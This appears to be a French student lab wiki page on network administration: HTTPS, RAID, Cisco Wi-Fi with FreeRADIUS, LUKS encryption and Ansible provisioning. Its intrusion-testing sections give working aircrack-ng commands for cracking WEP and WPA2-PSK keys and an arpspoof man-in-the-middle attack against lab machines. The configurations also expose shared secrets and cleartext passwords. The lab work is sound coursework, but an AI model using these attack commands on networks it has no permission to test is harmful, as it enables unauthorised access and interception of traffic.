Verifying the zone using the following algorithms: - RSASHA1 Zone fully signed: Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked ZSKs: 1 active, 0 stand-by, 0 revoked
Sécurisation de site web par certificat
On active le module SSL
a2enmod ssl
On configure le port 443 pour l'HTTPS en remplaçant dans le fichier /etc/apache2/ports.conf :
Listen 80 <IfModule ssl_module> Listen 443 </IfModule>
par
<IfModule mod_ssl.c> Listen 443 </IfModule>
On place paixdieu.site.key dans /etc/ssl/private/ et paixdieu.site.crt dans /etc/ssl/certs/
On crée les liens symboliques pour les certificats
> c_rehash /etc/ssl/certs Doing /etc/ssl/certs WARNING: Skipping duplicate certificate ca-certificates.crt WARNING: Skipping duplicate certificate ca-certificates.crt
On configure apache en ajoutant la ligne suivante dans le fichier /etc/apache2/apache2.conf :
ServerName paixdieu.site
On crée le fichier de configuration custom /etc/apache2/sites-available/000-paixdieu.site-ssl.conf :
<VirtualHost *:80> ServerName paixdieu.site ServerAlias www.paixdieu.site ServerAdmin webmaster@localhost DocumentRoot /var/www/html Redirect permanent / https://paixdieu.site/ </VirtualHost> <VirtualHost *:443> ServerAdmin webmaster@localhost ServerName paixdieu.site ServerAlias www.paixdieu.site DocumentRoot /var/www/html SSLEngine on SSLCertificateFile /etc/ssl/certs/paixdieu.site.crt SSLCertificateKeyFile /etc/ssl/private/paixdieu.site.key ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>
Puis nous activons le site ssl :
a2ensite 000-paixdieu.site-ssl
Nous arrivons bien à nous connecter à https://www.paixdieu.site Et un test avec openssl nous renvoie le résultat suivant :
CONNECTED(00000003) Can't use SSL_get_servername depth=0 CN = paixdieu.site verify error:num=20:unable to get local issuer certificate verify return:1 depth=0 CN = paixdieu.site verify error:num=21:unable to verify the first certificate verify return:1 depth=0 CN = paixdieu.site verify return:1 --- Certificate chain 0 s:CN = paixdieu.site i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2 --- Server certificate -----BEGIN CERTIFICATE----- [...] -----END CERTIFICATE----- subject=CN = paixdieu.site issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2 ---
Architecture réseau
L'architecture générale
Les réseaux virtuels
Le routage du site (IPv4)
Le routage du site (IPv6)
[insérer résumé]
Tests d'intrusion
Cassage de clef WEP d’un point d’accès WiFi
Pendant que l'infrastructure réseau était en train d'être configurée, nous avons testé de casser une clé wep.
Commandes réalisées sur un eeePC sous Linux :
Récupération du nom de l'interface réseau WiFi du eeePC:
ip a
On trouve : wlx40a5ef0f68cb
Mettre la carte réseau WiFi en mode monitor sur le channel 4:
airmon-ng start wlx40a5ef0f68cb 4
Après cette étape, il est possible que la carte réseau soit renommée par airmon-ng en wlan0mon.
Vérification que celle-ci est bien en mode monitor :
iwconfig
Ecouter les beacon WiFi sur cette carte réseau :
airodump-ng wlan0mon
De cette écoute , nous choisissons l'AP nommé cracotte09 avec le BSSID : 04:DA:D2:9C:50:58
Nous simulons l'authentification sur cet AP :
aireplay-ng -9 -e cracotte09 -a 04:DA:D2:9C:50:58' wlan0mon
-9 : mode injection -e cracotte09 : nom du point d'accès -a 04:DA:D2:9C:50:58 : bssid du point d'accès
Nous récupérons ensuite un nombre de frames conséquent émis par cet access point :
aireplay-ng -1 0 -e cracotte09 -a 04:DA:D2:9C:50:58 -h 40:A5:EF:01:28:D0 wlan0mon
-1 : mode "fake authentification" 0 : délai entre les demandes d'authentifications -h 40:A5:EF:01:27:D0 : bssid de l'interface réseau
Résultat :
Cassage de clef WPA2-PSK d’un point d’accès WiFi
Maintenant nous choisissions kracotte5 comme victime à l'aide du groupe de commande précédentes, c'est à dire :
airmon-ng start wlx40a5ef0f68cb 4
airodump-ng wlan0mon
Une fois que nous avons trouvé la victime (kracotte 5 ainsi que son BSSID), nous tentons de récupérer un handshake provenant de ce point d'accès et nous le stockons dans un fichier psk :
airodump-ng -c 4 --bssid 44:AD:D9:5F:87:04 -w psk wlan0mon
Nous installons ensuite un utilitaire pour générer le dictionnaire de clé WPA2-PSK qui sera utilisé par aircrack-ng pour se connecter au point d'accès wifi kracotte5 :
apt-get install crunch
Pour installer cette utilitaire nous pouvons relier l'eeePc au réseau de l'école à l'aide du deuxième câble ethernet disponnible à l'arrière des zabeth :
Une fois installé nous pouvons générer le dictionnaire :
crunch 8 8 0123456789 -o password.lst
Une fois généré, nous pouvons lancer la précédure de crackage (qui peut être très longue) :
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:04 psk*.cap
Intrusion sur un serveur d’application Web
Fichier:Wiki intrusion 5.5.zip
RAID Logiciel
Partitions crées sur capbreton :
ssh root@capbreton lvcreate -L1G -n paixdieu-part1 storage lvcreate -L1G -n paixdieu-part2 storage lvcreate -L1G -n paixdieu-part3 storage
Ajout de ces volumes à notre configuration de VM (/etc/xen/Paixdieu.cfg) :
disk = [ 'file:/usr/local/xen/domains/Paixdieu/disk.img,xvda2,w', 'file:/usr/local/xen/domains/Paixdieu/swap.img,xvda1,w',
'phy:/dev/storage/Paixdieu1,xvda3,w', 'phy:/dev/storage/Paixdieu2,xvda4,w' 'phy:/dev/storage/paixdieu-part1, xvda5,w' 'phy:/dev/storage/paixdieu-part2, xvda6,w' 'phy:/dev/storage/paixdieu-part3, xvda7,w' ]
Nous relançons la vm :
1. Sur la vm :
shutdown now
2. Sur Capbreton :
xl create /etc/xen/Paixdieu.cfg -c
Installation de l'utilitaire :
apt install mdadm
Création du raid 5 :
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
Vérification de la création des volumes :
lsblk
Nous donne :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT loop0 7:0 0 99.4M 1 loop /snap/core/11993 loop1 7:1 0 61.9M 1 loop /snap/core20/1270 loop2 7:2 0 43.1M 1 loop /snap/certbot/1670 xvda1 202:1 0 512M 0 disk [SWAP] xvda2 202:2 0 4G 0 disk / xvda3 202:3 0 10G 0 disk /home xvda4 202:4 0 10G 0 disk /var xvda5 202:5 0 1G 0 disk `-md0 9:0 0 2G 0 raid5 xvda6 202:6 0 1G 0 disk `-md0 9:0 0 2G 0 raid5 xvda7 202:7 0 1G 0 disk `-md0 9:0 0 2G 0 raid5
Remarque : Les volumes sont créés mais pas encore montés. (rien écrit dans le champs "MOUNTPOINT")
Création d'un point de montage :
mkfs.ext4 /dev/md0 mkdir /media/raid
Ajout de la ligne suivant dans le fichier /etc/fstab :
/dev/md0 /media/raid ext4 defaults 0 1
Montage des disques :
mount -a
Vérification du montages des disques :
lsblk
Donne :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT loop0 7:0 0 99.4M 1 loop /snap/core/11993 loop1 7:1 0 61.9M 1 loop /snap/core20/1270 loop2 7:2 0 43.1M 1 loop /snap/certbot/1670 xvda1 202:1 0 512M 0 disk [SWAP] xvda2 202:2 0 4G 0 disk / xvda3 202:3 0 10G 0 disk /home xvda4 202:4 0 10G 0 disk /var xvda5 202:5 0 1G 0 disk `-md0 9:0 0 2G 0 raid5 /media/raid xvda6 202:6 0 1G 0 disk `-md0 9:0 0 2G 0 raid5 /media/raid xvda7 202:7 0 1G 0 disk `-md0 9:0 0 2G 0 raid5 /media/raid
Configuration point d'accès WiFI
Configuration du point d'accès WiFi E304 (primaire) :
Installation de minicom sur macos :
brew install minicom
Récupération du nom du point d'accès connecté en USB (mac Os):
ls /dev/cu*
On obtient (en branchant et débranchant on identifie l'appareil qui apparait):
/dev/cu.usbserial-FTB3OOLY
Configuration du routeur WiFi :
minicom -os
Configuration à ajouter :
Nom de device : /dev/cu.usbserial-FTB3OOLY Baudrate : 9600 8N1
Sources : - https://wiki-ima.plil.fr/mediawiki//index.php/TP_sysres_IMA5_2021/2022_G6 - https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau006.html#sec29
enable => Passer en root (mdp : Cisco si par défaut) conf t hostname wifi-ima5sc-e304 => (optionnel) on donne un nom à notre point d'accès ip domain-name plil.info => ajoute un nom de domaine (utilisé pour la création de certificats)
Activation du ssh :
crypto key generate rsa general-keys modulus 2048 => Génération clés publique/privée ip ssh version 2 => Activation ssh
Configuration de l'authentification sur le point d'accès :
aaa new-model aaa authentication login eap_marguerite group radius_marguerite radius-server host 193.48.57.177 auth-port 1812 acct-port 1813 key secret_marguerite aaa group server radius radius_marguerite server 193.48.57.177 auth-port 1812 acct-port 1813
Configuration du SSID :
conf t dot11 ssid SSID_MARGUERITE vlan 11 authentication open eap eap_marguerite authentication network-eap eap_marguerite authentication key-management wpa mbssid guest-mode exit exit
Association du SSID à l'interface Wi-Fi :
conf t interface Dot11Radio0 encryption vlan 11 mode ciphers aes-ccm tkip ssid SSID_MARGUERITE mbssid exit exit
Configuration du Vlan 11 :
conf t interface Dot11Radio0.11 encapsulation dot1Q 11 no ip route-cache bridge-group 11 bridge-group 11 subscriber-loop-control bridge-group 11 spanning-disabled bridge-group 11 block-unknown-source exit exit
Configuration interface filaire :
conf t interface GigabitEthernet0.11 encapsulation dot1Q 11 bridge-group 11 exit exit
Configuration de l'IP du point d'accès et sa Gateway (n'est pas à faire par tous les groupes) :
conf t ip default-gateway 10.1.0.2 interface BVI 1 ip address 10.1.0.4 255.255.255.0 exit exit
Configuration du routeur en e304 :
Configuration du VLAN1 :
conf t interface vlan 1 ip address 10.1.0.2 255.255.255.0 exit exit
Configuration du port sur lequel est branché l'AP en mode trunk :
conf t interface Gi4/2 switchport switchport mode trunk switchport trunk allowed vlan add 1 exit exit
Serveur FreeRadius
Installation de freeRADIUS
apt install freeradius
On commence par configurer /etc/freeradius/3.0/clients.conf
à détailler
client marguerite { ipaddr = 10.1.0.4/24 secret = secret_marguerite }
ensuite /etc/freeradius/3.0/mods-enabled/eap
eap { [...] default_eap_type = peap }
puis /etc/freeradius/3.0/users
[...] root Cleartext-Password := "glopglop"
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug freeradius -X
(après avoir au préalable stoppé le processus)
Réalisations
Chiffrement de données
On se met en root sur une zabeth et on affiche les périphériques avec lsblk.
On s'interesse au périphérique suivant :
sdb 8:16 1 7.6G 0 disk └─sdb1 8:17 1 7.6G 0 part /media/pifou/USB DISK
On formate la clef en ext4
mkfs.ext4 /dev/sdb1
Puis on commence le cryptage en initialisant la clef avec un mot de passe (ici le mot de passe habituel mais x3):
cryptsetup luksFormat /dev/sdb1
On crée une partition chiffrée appelée data avec sa passphrase :
cryptsetup luksOpen /dev/sdb1 data
Que l'on formate :
mkfs.ext4 /dev/mapper/data
On monte cette partition pour lui permettre de contenir des fichiers :
mkdir /mnt/data_usb mount -t ext4 /dev/mapper/data /mnt/data_usb
On écrit un fichier test dans la partition :
vim /mnt/data_usb/test
On démonte la partition :
umount /mnt/data_usb
Et on ferme le volume maintenant chiffré :
cryptsetup luksClose data
En voulant accéder à la clef, nous avons maintenant une demande de mot de passe, une fois insérer le fichier test est bien dedans avec son contenu.
Attaque de type "homme au milieu" par usurpation ARP
source: https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.
On fait :
$ echo 1 > /proc/sys/net/ipv4/ip_forward
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):
$ arpspoof -t 172.26.145.61 172.26.145.254
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.
Ferme de serveurs Web
Installation VM xen :
xl create -c /etc/xen/pra-07.cfg
Configuration IP :
Dans /etc/network/interfaces :
# The primary network interface auto eth0 iface eth0 inet static address 172.26.145.102 netmask 255.255.255.0 gateway 172.26.145.254
Vérifier si on a bien la passerelle par défaut de configurer
ip r
On peut pinger le routeur :
ping 172.26.154.254
Mais pas les addresses ipv4 routée :
ping 8.8.8.8 échoue
Redémarage service networking
service networking restart
Si ça n'est pas suffisant :
ifdown eth0 ifup eth0
Dans /etc/ssh/sshd_config :
PermitRootLogin yes
Redémarage service ssh export http_proxy=http://proxy.plil.fr:3128
service sshd restart
Création d'une clé ssh sur la zabeth et ajout de cette clé dans les clés autorisées de la vm de pra :
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "aviran.tetia@polytech-lille.net" -P ""
On copie le contenu de la clé crée :
cat ~/.ssh/id_ed25519.pub
On colle son contenu dans les clé authorisées de la VM (fichier ~/.ssh/authorized_keys) :
cat ~/.ssh/authorized_keys ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDZfT1XxI7Zmqd07dup81hztaYKwLLapjhORHWmxUUCJ aviran.tetia@polytech-lille.net
Correction de la source list de la VM pour pouvoir utiliser apt correctement :
On remplace les deux dernières lignes par :
deb http://security.debian.org/debian-security bullseye-security main contrib non-free deb-src http://security.debian.org/debian-security bullseye-security main contrib non-free
Installation de python sur la VM :
apt update apt install python3
Création d'un venv pour l'éxecution :
python3 -m venv ~/env-ansible . ~/env-ansible/bin/activate pip3 install -U setuptools wheel pip3 install -U ansible
On crée l'arborescence suivante :
└── roles ├── base │ ├── tasks │ │ └── main.yml │ └── templates │ ├── hostname.j2 │ └── hosts.j2 └── ssh_key ├── tasks │ └── main.yml └── templates └── keys.j2
Dans main.yml :
- name: "Setup sshkeys" template: src: keys.j2 dest: /root/.ssh/authorized_keys owner: root group: root mode: "0600"
/!\ ne pas mettre de tabulation dans ce fichier, uniquement des espaces
Dans keys.j2 :
{% for item in ssh_keys %} {{ item.key }} {% endfor %}
Ajout d'une clef dans les variables de groupe group_vars/all.yaml :
ssh_keys: # if you don't install this i won't be able to get into your nodes to help you debug :) - name: tmaurice@thonkpad key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPrw78OSJACq5MFXHrhAr2bPpnTNxwLE85mzij8gKmCs thomas@thonkpad # add more keys here - name: aviran.tetia@polytech-lille.net key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDZfT1XxI7Zmqd07dup81hztaYKwLLapjhORHWmxUUCJ aviran.tetia@polytech-lille.net
Puis lancer la commande :
ansible-playbook -v -i inventory polytech.yaml
Vérification dans le fichier /root/.ssh/authorized_keys :
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPrw78OSJACq5MFXHrhAr2bPpnTNxwLE85mzij8gKmCs thomas@thonkpad ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDZfT1XxI7Zmqd07dup81hztaYKwLLapjhORHWmxUUCJ aviran.tetia@polytech-lille.net
Nous obtenons bien toutes nos clefs ssh.
Ajout des var d'environement pour pouvoir installer docker :
export http_proxy=http://proxy.plil.fr:3128 export https_proxy=http://proxy.plil.fr:3128
Installation du rôle Docker :
ansible-galaxy install geerlingguy.docker
Puis dans polytech.yml :
- hosts: all roles: ... - geerlingguy.docker
Après ré-execution du playbook, nous pouvons vérifier que Docker est bien installé :
docker -v
Installation du Pare-feu :
source : https://wiki-ima.plil.fr/mediawiki//index.php/TP_sysres_IMA5_2021/2022_G6
- création de roles/iptables/tasks/main.yml :
---
- name: Allow ports INPUT tcp iptables: chain: INPUT protocol: tcp destination_port: "{ { item } }" jump: ACCEPT ctstate: NEW,ESTABLISHED loop: "{ { iptables_accepted_tcp_ports } }"
- name: Allow ports INPUT udp iptables: chain: INPUT protocol: udp destination_port: "{ { item } }" jump: ACCEPT ctstate: NEW,ESTABLISHED loop: "{ { iptables_accepted_udp_ports } }"
- name: Set the policy for the INPUT chain to DROP ansible.builtin.iptables: chain: INPUT policy: DROP
- Cration du fichier de variables :
iptables_accepted_tcp_ports: - 8600 - 8500 - 8501 - 8502 - 8301 - 8302 - 8300 - 22 - 80 - 443
iptables_accepted_udp_ports: - 8600 - 8301 - 8302 - 22 - 80 - 443